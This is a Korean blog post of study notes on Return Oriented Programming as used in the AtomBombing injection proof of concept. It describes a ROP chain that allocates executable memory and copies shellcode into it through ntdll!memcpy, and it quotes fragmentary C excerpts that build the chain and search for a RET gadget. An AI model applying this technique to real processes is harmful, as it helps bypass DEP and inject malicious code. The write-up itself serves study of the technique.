티스토리 뷰

728x90
반응형

[Reversing] ROP(Return Oriented Programming)

참고

https://github.com/BreakingMalwareResearch/atom-bombing


Atombombing 기법을 보다가 정리가 필요하여 일부 정리를 한다. (이해가 되지 않아 잠시 멈춤..)

ROPRetrun Oriented Programming의 약자로 데이터 실행 방(Data Execution Prevention, DEP)을 우회하기 위하여 이용된다. 또한, 취약한 프로그램 내부에 있는 기계어 코드들의 섹션(Gadget)을 이용하여 버퍼오버플로우 공격시 특정 명령을 실행시키는 방법이기도하다.

ROP의 방법에 대해서는 1.Virtual Protect() 2.할당 등 여러가지 방법이 있으며 해당 POC 코드에서는 2.할당 방법을 사용하는 걸 확인 할 수 있다.

아래 소스코드를 살펴보면 (그림 1)와 같이 그려지는 걸 확인 할 수 있으며, ROP Chain(1)와 같이 나타내는 것을 확인 할 수 있다.

그림 1 – Address


Ntdll!memcpy

GetCurrentProcess()

MemcpyDestination

NULL

MemcpyLength

MEM_COMMIT

PAGE_EXECUTE_READWRITE

X86_RET(C3)

1 – ROP Chain


pvRemoteROPChainAddress = pvCodeCave;

         pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);

         pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);

         pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;

         printf("[*] Building ROP chain.\n\n\n");

         eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);

ESTATUS main_BuildROPChain(

...

tRopChain.ZwAllocateMemoryhProcess = GetCurrentProcess();

         tRopChain.ZwAllocateMemoryBaseAddress = (PUCHAR)pvROPLocation + FIELD_OFFSET(                                                                                                                                                        );

         tRopChain.ZwAllocateMemoryZeroBits = NULL;

         tRopChain.ZwAllocateMemoryRegionSize = (PSIZE_T)((PUCHAR)pvROPLocation + FIELD_OFFSET(                                                                                                                                                                          );

         tRopChain.ZwAllocateMemoryAllocationType = MEM_COMMIT;

         tRopChain.ZwAllocateMemoryProtect = PAGE_EXECUTE_READWRITE;

         tRopChain.MemcpyDestination = (PVOID)0x00;

         tRopChain.MemcpySource = pvShellcodeLocation;

         tRopChain.MemcpyLength = sizeof(SHELLCODE);

 

eReturn = GetFunctionAddressFromDll(

                 NTDLL,

                 MEMCPY,

                 &tRopChain.pvMemcpy

                 );

...

printf("ntdll!memcpy: 0x%X", tRopChain.pvMemcpy);

// newly allocated executable shellcode.

         eReturn = main_FindRetGadget(&tRopChain.pvRetGadget);

ESTATUS main_FindRetGadget(PVOID *ppvRetGadget)

{

...

         pvRetGadget = memchr(

                 hNtDll + ptSectionHeader->VirtualAddress,

                 X86_RET,

                 ptSectionHeader->SizeOfRawData

                 );

...

...

 



728x90
반응형
댓글
250x250
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today